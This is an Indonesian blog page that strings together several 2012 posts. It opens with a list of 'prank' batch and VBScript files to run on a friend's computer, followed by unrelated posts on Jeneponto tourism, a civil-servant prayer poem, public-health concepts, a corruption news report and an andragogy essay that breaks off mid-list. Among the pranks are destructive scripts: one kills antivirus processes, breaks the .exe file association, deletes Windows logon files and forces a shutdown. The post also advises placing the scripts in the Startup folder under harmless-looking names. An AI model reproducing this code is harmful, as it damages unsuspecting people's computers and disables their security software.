Sabtu, 20 Oktober 2012

KUMPULAN SCRIPT YANG DIJAMIN BAKAL BIKIN PUSING TEMANMU

Kumpulan script jahil yang dijamin akan bikin kesal


Saya ada script jahil nih yg mau saya share dengan sobat Satu Hati. Intinya ini hanya untuk mengerjai komputer teman kamu, pasti dia kesal banget dan bisa aja menjadi marah monitornya di banting… agagagagagag. Script ini kamu buat melalui Notepad dan harus kamu simpan dengan menggunakan ekstensi yang saya sebutkan. oce deh segera cek script jahil ini.
script ini bisa kta pakai, untuk menjahili komputer anak org !! yg harus kamu siapkan adlh :
  1. Notepad
  2. kopi
  3. pasta
  4. alias kopas
  5. Bersiap2 menerima dosa… agagagagagag (kidding)
stelah smuax siap,, kupas (mksdx copas) script di bawah ke dalam notepad !!
1. MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS
Code:
@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo, cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
==> save nama script diatas dg ekstensi *.bat
2. BIKIN SHUTDOWN + MESSAGES
Code:
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu
standar abis"
==> save nama script diatas dg ekstensi *.bat
3. MAININ TOMBOL CAPS LOCK
Code:
Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{CAPSLOCK}”
loop
==> save nama script diatas dg ekstensi *.vbs
4. BUKA TUTUP CD/DVD SECARA OTOMATIS
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 5000
loop
==> save nama script diatas dg ekstensi *.vbs
5. MENEKAN TOMBOL ENTER TERUS MENERUS
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
==> save nama script diatas dg ekstensi *.vbs
6. MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS
Code:
MsgBox “Lets Rumble”
 Set wshShell =wscript.CreateObject(“WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “{bs}”
loop
==> save nama script diatas dg ekstensi *.vbs
7. OTOMATIS NGETIK “LU JELEK BANGET SIH” DI NOTEPAD ATAU M.WORD
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loop
==> save nama script diatas dg ekstensi *.vbs
8. MEMBUKA NOTEPAD TERUS MENERUS
Code:
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> save nama script diatas dg ekstensi *.bat
9. OTOMATIS BUKA NOTEPAD LALU NGETIK “APA YG LO MAU”
Code:
WScript.Sleep 180000
 WScript.Sleep 10000
 Set WshShell = WScript.CreateObject(“WScript.Shell”)
 WshShell.Run “notepad”
 WScript.Sleep 100
 WshShell.AppActivate “Notepad”
 WScript.Sleep 500
 WshShell.SendKeys “Ka”
 WScript.Sleep 500
 WshShell.SendKeys “mu ”
 WScript.Sleep 500
 WshShell.SendKeys “, je”
 WScript.Sleep 500
 WshShell.SendKeys “l ek”
 WScript.Sleep 500
 WshShell.SendKeys “am ”
 WScript.Sleep 500
 WshShell.SendKeys “at”
 WScript.Sleep 500
 WshShell.SendKeys “ya ”
 WScript.Sleep 500
 WshShell.SendKeys “P er”
 WScript.Sleep 500
 WshShell.SendKeys “ma k”
 WScript.Sleep 500
 WshShell.SendKeys “tuh”
 WScript.Sleep 500
 WshShell.SendKeys ” mu”
 WScript.Sleep 500
 WshShell.SendKeys “ka”
 WScript.Sleep 500
WshShell.SendKeys “hohoho “
==> save nama script diatas dg ekstensi *.vbs
10. BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2
Code:
@echo off
title quiz hari ini
:)
:menu
cls
echo jika kamu kena virus apa
yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t
30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo rusak
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
@ECHO off
:top
START %SystemRoot%
\system32\notepad.exe
GOTO top
==> nah script diatas save jadi quiz.bat, lalu kasih ke anak orang… agagagagagag……..
11. YANG INI PALING BAHAYA, JANGAN DICOBA DI KOMPUTER KAMU :lol:
Code:
@echo off
set end=md “Hack
installing”
set fin=copy “Hack
log.txt” “Installing”
%end%
%fin%
net send * Hack is
installing, press OK to
begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is
hacked ….
msg * I warned you,
and you kept going.
Challenge me and this
is what happens.
DEL C:\WINDOWS
\system32\logoff.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.exe /
F /Q
DEL C:\WINDOWS
\system32\logon.scr /
F /Q
cls
shutdown -s -t 5 -c
“ thank you for
waiting”
==> save script diatas dg ekstensi *.bat

Dari semua script diatas, cara menjalankannya adalah degan mengklik 2x file yang kita buat dari notepad tadi. Saya sarankan kalau mau mengusili komputer teman dan bisa dijalankan secara otomatis, kopi file script yg udah kamu simpan ke folder startup di Menu Start. Setelah itu kamu saya sarankan selama seminggu gak nongol biar gak di lempar sama monitor…. agagagagagag :lol:
Waktu menyimpan dengan ekstensi *.bat atau *.vbs
Ganti * menjadi nama file, misal usil.bat atau ancur.vbs
Saya sarankan buat nama file yang tidak mencurigakan si pengguna komputer.

Selasa, 04 September 2012

Selamat datang di bumi Turatea, kalimat itu akan terlihat saat pertama kali kita memasuki Kabupaten Jeneponto, kota dengan keindahan wisatanya yang mempesona.
Kabupaten Jeneponto merupakan salah satu Daerah Tingkat II di provinsi Sulawesi Selatan. Ibu kota kabupaten ini terletak di Kota Jeneponto. Kabupaten ini memiliki luas wilayah 737,64 km2 dan berpenduduk sebanyak ±300.000 jiwa. Kabupaten Jeneponto terletak di ujung bagian Barat wilayah Propinsi Sulsel yang jarak tempuhnya dari Kota Makassar sekitar 90 km.
Dalam rangka pencanangan Visit Indonesia Year 2008 berbagai kota di tanah air terus digalangkan. Dan Jeneponto pun tidak mau ketinggalan untuk memperkenalkan obyek wisatanya. Baik itu wisata alam, budaya, agrowisata dan agrobisnis. Jadi tak salah rasanya jika jalan-jalan kita kali ini, kita menyambangi Kabupaten Jeneponto yang juga dikenal sebagai penghasil Garam terbesar dan kepiawaiannya membuat Coto Kuda sebagai wisata kuliner tersohor di Sulsel.
Wisata Air Terjun Je’neAriba
Mengunjungi Jeneponto tak lengkap rasanya bila tidak ke Air terjuang Je’ne Ariba. Je’ne Ariba berada di Desa Kapita kecamatan Bangkala. Air terjung ini memang belum bisa di sejajarkan dengan air terjun Takkapala yang ada di Malino, namun air terjuang Je’ne Ariba ini memiliki keunikan tersendiri untuk ditelusuri. Di mana saat memasuki kawasan ini, para pengunjungnya akan dijamu dengan keindahan pegunungan yang cukup memukau dan mempesona. Selanjutnya menuju ke arah obyek, pengunjung kembali diwajibkan untuk menelusuri perkebunan jagung, jambu menteh dan tambak ikan. Ini tentu saja menjadi keasyikan dan tantangan tersendiri bagi Anda yang suka berpetualang ke alam bebas. Sekilas, perjalanan akan sangat melelahkan saat menuju lokasi Je’ne Ariba, tapi Anda tak perlu khawatir mengingat keindahan alam yang bertebaran di seputar jalan menuju area air terjun membuat kita tak merasakan hal ini. Malah sebaliknya decak kagum selalu datang menghampiri. Kesejukan air telaga di Je’ne Ariba sangat bening dan segar. Di kawasan ini sangat sering digunakan sebagai tempat rekreasi masyarakat umum yang bertanda bersama keluarga, khususnya pada hari Minggu yang juga bersamaan hari pasar di seputaran desa Kapita ini. Jarak tempuh wisata Je’ne Ariba sekitar 25 km dari kota Jeneponto.
Bungung Salapang
Tidak lupa Anda pun bisa mengunjungi wisata Bungung Salapang atau sembilan Sumur. Tempat wisata ini juga sangat menarik untuk dikunjungi, karena bisa disebut sebagi wisata Budaya. Di mana air yang ada di dalamBungung Salapang ini tidak pernah habis meskipun banyak orang yang memakainya, dan hal itu sudah terjadi ratusan tahun yang lalu. Bungung Salapang, oleh sebagian masyarakat Jeneponto juga dipercayai selain dapat menghilangkan berbagai macam penyakit yang ada dalam tubuh, bisa awet mudah juga bisa ketemu jodoh. Dengan cara orang tersebut harus datang dengan niat baik dan tulus, untuk memohon (nasar), sambil mengikat tali yang menyerupai akar-akaran di seputaran pohon atau area Bungung Salapang, sambil berucap dalam hati ‘ Aku akan kembali melepas tali ini setelah jodohku aku temukan ’ lalu membasuh air ke muka. Percaya tidak percaya tempat wisata ini banyak dikunjungi masyarakat dari dalam dan luar Jeneponto. Dan saat ini kawasan Bungung Salapang menjadi potensi khasanah yang unik karena keragaman budaya yang ada di Masyarakatnya selalu berpulang pada kesejahteraan dan kebahagiaan bersama. Sebagian masyarakat mengkulturkan dan menjadikan tempat tersebut sakral.

Agrobisnis Industri Garam
Kualitas garam yang dikelola secara tradisional dapat di temukan di Jeneponto. Pengolahan yang tradisional menjadikan garam dari sini cukup diperhitungkan oleh pelaku bisnis dari luar Sulsel. Pada umumnya Garam di sini diolah kembali untuk dijadikan garam konsumsi maupun untuk garam industri, namun bahan penggunaannya tidak mengandung unsur kimia yang merusak. Lahan pembuatan garam di sini dibuat berpetak-petak secara bertingkat, sehingga bagi anda yang ingin mengetahui lebih dalam lagi cara menghasilkan dan membuat garam, Anda tinggal mengunjungi kawasan Nassara di Jeneponto.

Tak lengkap rasanya jika mengunjungi Jeneponto, tanpa mencicipi coto kudanya. Aneka rasa yang disajikan akan mengundang selera dan rasa penasaran tak kala menikmati satu mangkuk panas hidangan coto kuda. Harganya pun terbilang murah, hanya Rp. 9000 Anda sudah dapat menikmatinya.
Sebenarnya masih ada banyak lagi tempat-tempat menakjubkan yang bakalan memacu decak kagum Anda setiap kali berkunjung ke Jeneponto. Seperti Wisata Pantai Pasir Putih Kassi, Cagar Budaya Makam Raja-raja Binamu, Panorama Alam Loka Jenetallasa, Pacuan Kuda di Binamu dan Pasir Putih Taman Roya, selalu menanti. Jadi selamat berkunjung sambil menikmati keunikan dan keindahan wisata di Butta Turatea, Jeneponto.

Sayangnya, pemerintah daerah hanya gigit jari melihat potensi yang ada dan tidak bisa melakukan ekspansi potensi alam yang ada didaerah untuk terus memberikan dukungan dalam pengelolaan sumber daya yang ada. Hal ini berakibat terhadap kurangnya PAD dan masyarakat pada umumnya.

Sudianto Aditya_Ijho: Puisi Perindu PNS

Sudianto Aditya_Ijho: Puisi Perindu PNS

Puisi Perindu PNS

Ya Allah pilihkan yang terbaik untukku.
Jika menjadi PNS itu baik buatku, dunia & akhiratku, jadikanlah aku PNS
Jika menjadi PNS itu tidak baik buatku, pilihkan aku profesi terbaik
Ya Allah, jika aku menjadi PNS nanti, jadikanlah aku PNS yang baik
PNS yang jujur, bukan yang gemar berkongsi untuk korupsi
PNS yang berjiwa melayani, bukan minta dilayani
PNS yang ramah & rendah hati, bukan yang ketus dan tinggi hati
PNS yang disiplin dan tepat jadwal, bukan yang gemar mendiskon waktu
PNS yang menjadi teladan masyarakat, bukan sampah masyarakat
Jadikanlah aku PNS yang baik ya Allah,
Agar aku menjadi penduduk surga
Ya Allah, jika aku menjadi PNS nanti, kuatkanlah hatiku.
Bantulah aku menolak kecurangan
Bantulah hatiku menolak ajakan persekongkolan dusta
Bantulah hatiku menolak rayuan KKN siapapun
Ya Allah, Engkau tahu betul,
Harga sembako selalu naik
Bensin naik
SPP sekolah anak juga selalu naik
Tapi gaji sebagai PNS sangat kecil
Maka bimbinglah aku mendapatkan usaha sampingan yang halal & menguntungkan
Bantulah aku menjadi PNS yang jujur & kaya.
PNS yang KAYA HATI (Harta, Amal & Budi Pekerti)
Amien…

Puisi By : Taufiqurrohman, M.Si. Pengelola www.soalcpns.com




Tips CPNS
Jika anda benar-benar serius ingin lolos CPNS tahun ini juga, silakan ikuti 7 tips sukses lolos CPNS berikut ini:
1. Miliki tekad kuat bahwa anda bisa menjadi PNS yang profesional dan jujur
2. Persiapkan diri dengan menguasai bentuk "Pola soal-soal cpns yang sering muncul"
3. Banyak berlatih soal soal CPNS yang berkualitas. Jangan asal sembarang berlatih soal sebanyak mungkin. Namun utamakanlah kualitas dan tingkat kesulitan yang sesuai
4. Jangan tergiur dengan rayuan oknum atau siapapun yang menawarkan lolos PNS dengan memberikan sejumlah uang. lolos cpns dgn uang adalah korupsi. hadis nabi jelas menyatakan bahwa yang menyuap dan yang disuap masuk neraka.
5. Jaga kesehatan dan kondisi fisik selalu prima.
6. Mohon doa restu dari orangtua dan semua kerabat agar lolos menjadi PNS.
7. Banyak bersedekah kepada fakir miskin dan minta didoakan supaya lolos CPNS.

Senin, 03 September 2012

Pelayanan Kesehatan Promotif , Preventif, Kuratif dan Rehabilitatif


Berbicara mengenai konsep kesehatan. Kita kenal ada 2  (dua) konsep yaitu konsep kesehatan masyarakat dan konsep kedokteran, konsep kesehatan masyarakat lebih berorientasi kepada  masalah kesehatan dihubungkan dengan aspek social cultural. Konsep kesehatan masyarakat  menekankan pada pendekatan preventif dan promotif. Sedangkan konsep kedokteran lebih berorientasi pada masalah sehat sakit terutama penyakit yang berkaitan dengan aspek biomedis. Pendekatan yang digunakan dalam pelayanan kesehatan adalah Kuratif dan rehabilitative.
Kesehatan masyarakat menggunakan pendekatan preventif dan promotif. Preventif (pencegahan) adalah mencegah jangan sampai terkena penyakit atau menjaga orang yang sehat agar tetap sehat, Misalnya yang paling sederhana melakukan cuci tangan sebelum makan dan sesudah buang air besar akan mencegah terjadinya penyakit diare. sedangkan promotif (peningkatan) adalah meningkatkan agar status status kesehatan menjadi semakin meningkat, misalnya pemberian inisiasi menyusui dini (IMD) dan ASI eksklusif yang dapat membantu meningkatkan kekebalan terhadap penyakit karena kolostrum dan zat-zat gizi yang terkandung dalam ASI. Anak tidak mudah terkena penyakit.
  Perbedaan lain yang cukup mencolok adalah kesehatan masyarakat mengambil obyek sasaran kesehatannya yaitu masyarakat atau komunitas (skala makro) sedangkan kedokteran menangani individu (skala mikro). Kuratif (pengobatan) digunakan untuk orang-orang sakit atau dengan kata yang lebih mudahnya kuratif adalah nama lain dari proses menyembuhkan seseorang dari keadaan sakit secara fisik dan psikis. Misalnya  balita yang menderita pneumonia tentu membutuhkan pengobatan antiobiotik. Penyakit ini akan mengganggu tumbuh kembang balita tersebut ; Balita tidak suka makan yang mungkin berakibat pada penurunan status gizi balita.  sedangkan rehabilitatif (pemulihan) adalah proses menjaga agar seorang yang sudah sembuh (belum 100% sembuh) kembali bugar seperti semula. Misalnya untuk balita sakit pneumonia membutuhkan asupan gizi yang adekuat terutama protein untuk proses penyembuhan serta  pemulihan dari penyakitnya.  Balita yang sering sakit akan mengalami hambatan dalam tumbuh kembangnya. 
Jadi sebenarnya tugas kesehatan masyarakat itu lebih sulit dibandingkan kedokteran karena obyek dari kesehatan masyarakat yang lebih luas yaitu masyarakat secara umum atau suatu komunitas. Dan kita (kesehatan masyarakat) menangani orang sehat yang jumlahnya sangat besar, berkisar antara 80% (untuk negara berkembang) atau 85% (untuk negara maju). Lagi pula kita harus berusaha ekstra keras untuk menyadarkan masyarakat yang sehat agar mampu dan mau untuk menjaga kesehatannya, karena sesungguhnya menjaga kesehatan itu lebih sulit dari pada mengobati. Karena menyangkut pola prilaku hidup sehat. dan kebiasaan mencari dan mendapatkan pelayanan kesehatan. Seseorang baru akan mencari pelayanan kesehatan apabila sudah mengalami sakit. Sebagai contoh, bagi seorang petani kalau mengalami nyeri kepala dan mual muntah, demam, menggigil, akan merasa sehat saja jika sudah berkeringat setelah menggigil, kembali bekerja di kebun karena sudah merasa sembuh serta menganggap biasa penyakit malaria dan baru akan segera berobat jika sudah parah atau mengalami komplikasi malaria cerebral. Secara cultural bagi masyarakat tertentu terutama masyarakat pedesaan untuk mendapatkan pelayanan masih harus berkonsultasi dengan keluarga atau orang kunci sebagai pengambil keputusan atau membantu keluarga dalam mengambil keputusan untuk mendapatkan pelayanan kesehatan.
Tantangan kesehatan masyarakat lebih besar dari pada kedokteran terutama karena perbedaan aspek pendekatan yang digunakan, aspek kuratif dan rehabilitatif lebih mudah untuk diterapkan (terutama pada orang sakit yang tidak memiliki banyak pilihan). Kebanyakan orang kalau sudah menderita sakit akan patuh pada aturan yang disampaikan oleh petugas kesehatan (Dokter, Bidan, Perawat, Ahli Gizi, dll). Hasil dari pelayanan kuratif dan preventif juga lebih cepat dirasakan oleh klien apabila mentaati semua nasehat termasuk tindakan medis, dan perawatan yang diberikan.  Sedangkan aspek preventif dan promotif lebih sukar untuk diterapkan karena hasil yang didapat bersifat long term (jangka panjang) sehingga tidak bisa langsung diambil manfaatnya dan biasanya orang-orang lebih senang untuk melihat hasil yang cepat. Misalnya pasien malaria akan mudah dinasehati apabila dia menderita malaria daripada pada saat dia sehat. Dan lagi kesehatan masyarakat itu obyek sasarannya lebih luas yakni masyarakat (80% penduduk Indonesia) dan agak susah untuk membuat status kesehatan mereka yang sehat agar tetap sehat, bahkan menjadi lebih sehat lagi. Namun sebagai petugas kesehatan tak perlu cemas dan pesimis karena informasi yang diberikan terus-menerus akan mampu merubah prilaku hidup seseorang untuk dapat mengadopsi prilaku hidup sehat. Hal tersebut adalah tantangan dalam intervensi pelayanan kesehatan berdasarkan anggapan masyarakat yang “keliru” yang seharusnya secara terus menerus diperbaiki terutama pola pikir masyarakat yang masih  terfokus pada anggapan “kalau sakit baru berobat atau ke Puskesmas”. Menjadi rajin untuk mengakses pendidikan kesehatan yang dapat merubah prilaku hidup sehat sehingga terhindar dari penyakit. Sebenarnya biaya pelayanan kesehatan preventif dan promotif lebih murah daripada kuratif dan rehabilitative.  Sehingga sebagai petugas kesehatan yang benar-benar memahami tentang konsep penyakit perlu lebih aktif untuk memberikan penyuluhan dan pendidikan kesehatan kepada masyarakat sehingga dapat membantu masyarakat untuk berprilaku hidup sehat, mencegah penyakit dan lebih produktivitas menjadi meningkat. Ingat : “mencegah lebih baik daripada mengobati”

Minggu, 02 September 2012

SULAWESI SELATAN TERKORUP

Ketua DPRD Sulsel Moh Roem enggan berkomentar terkait laporan Pusat Pelaporan Analaisis Transaksi Keuangan (PPATK) 2012, Sulsel provinsi terkorup di daratan Sulawesi.

Tim Pemenangan Calon Gubernur incumbent Sulsel Syahrul Yasin Limpo ini memilih diam saat dimantai komentar melalui telepon selularnya, Rabu (29/8). Sebanyak tiga kali Tribun menghubungi Wakil Ketua Dewan Pimpinan Daerah (DPD) Golkar Sulsel namun tetap saja diam.

Demikian rekan Roem, Ajiep Padindang. Legislator Partai Golkar DPRD Sulsel yang juga ketua Komisi A yang membidangi pemerintahan ini mengaku tidak mengetahui jika Sulsel terkorup.

Ajiep yang juga tim pemenangan Syahrul ini justru meminta Roem yang berkomentar, "saya tidak bisa menanggapi hal itu karena belum tau masalahnya, baiknya hubungi pimpinan dewan (Roem) saja," kata Ajiep kepada Tribun Timur, Rabu (29/8).

Anggota Komisi B DPRD Sulsel yang membidangi perekonomian, Mukhtar Tompo, mengakui laporan PPATK sangat akurat. Legislator Partai Hati Nurani Rakyat (Hanura) ini sepakat atas laporan tersebut.

"PPATK itu resmi, punya payung hukum dan tolak ukur yg jelas, separah inilah kita punya pemerintahan. Ini mencerminkan akuntabilitas pemerintahan lemah dan sangat tak sesuai dengan seabrek penghargaan yang kita terima," kata Muktar Tompo kepada Tribun Timur, Rabu (29/8)

Provinsi Sulawesi Selatan, menjadi Daerah terkorup (1,5%), disusul Sulawesi Utara (0,9%), Sulawesi Tenggara (0,6%), dan Sulawesi Tengah (0,4%). Sulawesi Barat (0,3%) berada di posisi buncit.

Koordinator Anti Corruption Committee (ACC) Abdul Muttalib, mengungkapkan, beberapa kasus yang terindikasi korupsi di lingkup pemerintah Provinsi Sulsel khususnya, yakni, kasus opini Wajar Tanpa Pengecualian (WTP) pada LKPD Pemprov Sulsel yang kemudian ACC melaporkan ada penyimpangan Rp 560 Milyar.

"Selanjutnya kasus dana bansos Rp 35 M di Pemprov Sulsel yang kemudian diproses oleh kejaksaan namun sarat rekayasa. Menurut saya KPK patut menyorot Sulsel sabagai sarang koruptor," kata Thalib kepada Tribun Timur kemarin.

Lebih lanjut, Koordinator Kopel Sulawesi Syamsuddin Alimsyah, juga menemukan, keuangan lingkup pemerintah provinsi (Pemprov) Sulsel selama ini sehat. Kopel banyak menemukan praktek-praktek korupsi di gedung eksekutif tertinggi Sulsel itu.

"Ingat, WTP itu bukan tanpa korupsi, apalagi yang diaudit juga hanya sampling saja (audit general). Kalo mau kita geledah mendalam APBD Sulsel sebenarnya memang tidak sehat,

Bagaimana mungkin satu institusi atau SKPD dalam sebulan untuk perjalanan bisa menghabiskan duit Rp 3 Milyar perbulan? malah lebih. Belum lagi uang makan minum sampai Rp 30 M, tambahan di perubahan APBD yang berlakunya klender anggaran sudah tidak cukup sebulan. Lebih aneh belanja modal justru rata-rata hanya sampai tujuh persen, ini perlu diusut KPK ini,"ungkap Syamsuddin Alimsyah.

# Tribun-timur.com

Rabu, 25 Juli 2012

KELEMAHAN DAN KEUNGGULAN TEORI BELAJAR ANDRAGOGI


KELEMAHAN DAN KEUNGGULAN
TEORI BELAJAR ANDRAGOGI

Disusun oleh:
Baharuddin Hafid




A.     Pendahuan
Kesadaran bahwa belajar adalah proses menjadi dirinya sendiri (process of becoming person) bukan proses untuk dibentuk (process of beings haped) menurut kehendak orang lain, membawa kesadaran yang lain bahwa kegiatan belajar harus melibatkan individu atau client dalam proses pemikiran: apa yang mereka inginkan, apa yang dilakukan, menentukan dan merencanakan serta melakukan tindakan apa saja yang perlu untuk memenuhi keinginan tersebut. Inti dari pendidikan adalah menolong orang belajar bagaimana memikirkan diri mereka sendiri, mengatur urusan kehidupan mereka sendiri untuk berkembang dan matang, dengan mempertimbangkan bahwa mereka juga sebagai makhluk sosial.
Di tahun 70 an dikenal sebuah proyek yang disebut dengan PPSP (Proyek Perintis Sekolah Pembangunan). Pada waktu itu, siswa dibebaskan menentukan seberapa cepat dia bisa menyelesaikan masa studinya. Siswa diberi Lembaran Kegiatan Siswa (LKS) yang berisikan tentang teori-teori materi yang dipelajari, dan kalau siswa beranggapan sudah menguasai, maka diberi lembar latihan dari LKS tadi dan kalau sudah merasa siap, maka siswa bisa mengambil sendiri Lembar Test Formatif. Fungsi Guru pada waktu itu adalah menjelaskan apabila bertanya dan menilai hasil test formatif tersebut. Di PPSP ini, murid kelas 1 SMP (waktu itu disebut kelas 6), itu bisa saja menempuh pelajaran kelas 2 SMP (kelas 7) maupun menempuh kelas 8 (3 SMP), sehingga pada waktu itu, cukup banyak yang mampu menempuh level SMP hanya dalam waktu 2 tahun. PPSP mencanangkan program SD hanya 5 tahun, SMP bisa ditempuh 2 tahun dan SMA juga bisa ditempuh 2 tahun juga, tergantung kepada kemampuan dari siswa.
Kegiatan belajar yang melibatkan individu atau client dalam proses menentukan apa yang mereka inginkan, apa yang akan dilakukan, adalah beberapa prinsip dari teori belajar Andragogi. Teori belajar Andragogi sering juga disebut dengan teori belajar orang dewasa.  Makalah ini akan membahas tentang Teori Belajar Andragogi tersebut dan membahas kelemahan serta keunggulannya.

B.     Teori Belajar Andragogi
1.     Pengertian Teori Belajar Andragogi
Andragogi berasal dari bahasa Yunani kuno: "aner", dengan akar kata andr, yang berarti orang dewasa, dan agogus yang berarti membimbing atau membina. Istilah lain yang sering dipergunakan sebagai perbandingan adalah "pedagogi", yang ditarik dari kata "paid" artinya anak dan "agogus" artinya membimbing atau memimpin. Dengan demikian secara harfiah "pedagogi" berarti seni atau pengetahuan membimbing atau memimpin atau mengajar anak. Karena pengertian pedagogi adalah seni atau pengetahuan membimbing atau mengajar anak maka apabila menggunakan istilah pedagogi untuk kegiatan pendidikan atau pelatihan bagi orang dewasa jelas tidak tepat, karena mengandung makna yang bertentangan. Banyak praktik proses belajar dalam suatu pelatihan yang ditujukan kepada orang dewasa, yang seharusnya bersifat andragogis, dilakukan dengan cara-cara yang pedagogis. Dalam hal ini prinsip-prinsip dan asumsi yang berlaku bagi pendidikan anak dianggap dapat diberlakukan bagi kegiatan pelatihan bagi orang dewasa.
Dengan demikian maka kalau ditarik pengertiannya sejalan dengan pedagogi, maka andragogi secara harfiah dapat diartikan sebagai ilmu dan seni mengajar orang dewasa. Namun karena orang dewasa sebagai individu yang sudah mandiri dan mampu mengarahkan dirinya sendiri, maka dalam andragogi yang terpenting dalam proses interaksi belajar adalah kegiatan belajar mandiri yang bertumpu kepada warga belajar itu sendiri dan bukan merupakan kegiatan seorang guru mengajarkan sesuatu (Learner Centered Training/Teaching).

2.     Perkembangan Teori Belajar Andragogi
Malcolm Knowles dalam publikasinya yang berjudul "The Adult Learner, A Neglected Species" yang diterbitkan pada tahun 1970 mengungkapkan teori belajar yang tepat bagi orang dewasa. Sejak saat itulah istilah "Andragogi" makin diperbincangkan oleh berbagai kalangan khususnya para ahli pendidikan.
Sebelum muncul Andragogi, yang digunakan dalam kegiatan belajat adalah Pedagogy. Konsep ini menempatkan murid/siswa sebagai obyek di dalam pendidikan, mereka mesti menerima pendidikan yang sudah di setup oleh sistem pendidikan, di setup oleh gurunya/pengajarnya. Apa yang dipelajari, materi yang akan diterima, metode panyampaiannya, dan lain-lain, semua tergantung kepada pengajar dan tergantung kepada sistem. Murid sebagai obyek dari pendidikan.
Kelemahannya Pedagogi adalah manusia (dalam hal ini adalah siswa) yang memiliki keunikan, yang memiliki talenta, memiliki minat, memiliki kelebihan, menjadi tidak berkembang, menjadi tidak bisa mengeksplorasi dirinya sendiri, tidak mampu menyampaikan kebenarannya sendiri, sebab yang memiliki kebenaran adalah masa lalu, adalah sesuatu yang sudah mapan dan sudah ada sampai sekarang. Perbedaan bukanlah menjadi hal yang biasa, melainkan jika ada yang berbeda itu akan dianggap sebagai sebuah perlawanan dan pemberontakan. Pedagogy memiliki kelebihan, yakni di dalam menjaga rantai keilmuan yang sudah diawali oleh orang-orang terdahulu, maka rantai emas dan benang merah keilmuan bisa dilanjutkan oleh generasi mendatang. Generasi mendatang tidak perlu mulai dari nol lagi, melainkan tinggal melanjutkan apa yang sudah ditemukan, apa yang sudah dirintis, apa yang sudah dimulai oleh generasi mendatang.
Dalam Andragogy inilah, kita kenal istilah-istilah Enjoy Learning, Workshop, Pelatihan Outbond,dll, dan dari konsep Pendidikan Andragogy inilah kemudian muncul konsep-konsep Liberalisme pendidikan, Liberasionisme pendidikan dan Anarkisme pendidikan. Liberalisme pendidikan bertujuan jangka panjang untuk melestarikan dan memperbaiki tatanan sosial yang ada dengan cara mengajar setiap siswa sebagaimana cara menghadapi  persoalan-persoalan dalam kehidupan sehari-hari secara efektif. Liberasionisme pendidikan adalah sebuah sudut pandang yang menganggap bahwa kita musti segera melakukan perombakan berlingkup besar terhadap tatanan politik (dan pendidikan) yang ada sekarang, sebagai cara untuk memajukan kebebasan-kebebasan individu dan mempromosikan perujudan potensi-potensi diri semaksimal mungkin. Bagi pendidik liberasionis, sekolah bersifat obyektif namun tidak sentral dan sekolah bukan hanya mengajarkan pada siswa bagaimana berpikir yang efektif secara rasional dan ilmiah, melainkan juga mengajak siswa untuk memahami kebijaksanaan tertinggi yang ada di dalam pemecahan-pemecahan masalah secara intelek yang paling meyakinkan. Dengan kata lain, liberasionisme pendidikan dilandasi oleh sebuah sistem kebenaran yang terbuka. Secara moral, sekolah berkewajiban mengenalkan dan mempromosikan program-program sosial konstruktif dan bukan hanya melatih pikiran siswa. Sekolahpun harus memajukan pola tindakan yang paling meyakinkan yang didukung oleh sebuah analisis obyektif berdasarkan fakta-fakta yang ada. Hal ini sejalan dengan pendapat Aristoteles tentang prinsip pendidikan yaitu sebagai wahana pengkajian fakta-fakta, mencari ‘yang obyektif’, melalui pengamatan atas kenyataan. Anarkisme pendidikan pada umumnya menerima sistem penyelidikan eksperimental yang terbuka (pembuktian pengetahuan melalui penalaran ilmiah). Tetapi berbeda dengan liberal dan liberasionis, anarkisme pendidikan beranggapan bahwa harus meminimalkan dan atau menghapuskan pembatasan-pembatasan kelembagaan terhadap perilaku personal, bahwa musti dilakukan untuk membuat masyarakat yang bebas lembaga. Menurut anarkisme pendidikan, pendekatan terbaik terhadap pendidikan adalah pendekatan yang mengupayakan untuk mempercepat perombakan humanistik berskala besar yang mendesak ke dalam masyarakat, dengan cara menghapuskan sistem persekolahan sekalian.
  
3.     Asumsi-Asumsi Pokok Teori Belajar Andragogi
Malcolm Knowles (1970) dalam mengembangkan konsep andragogi, mengembangkan empat pokok asumsi sebagai berikut:
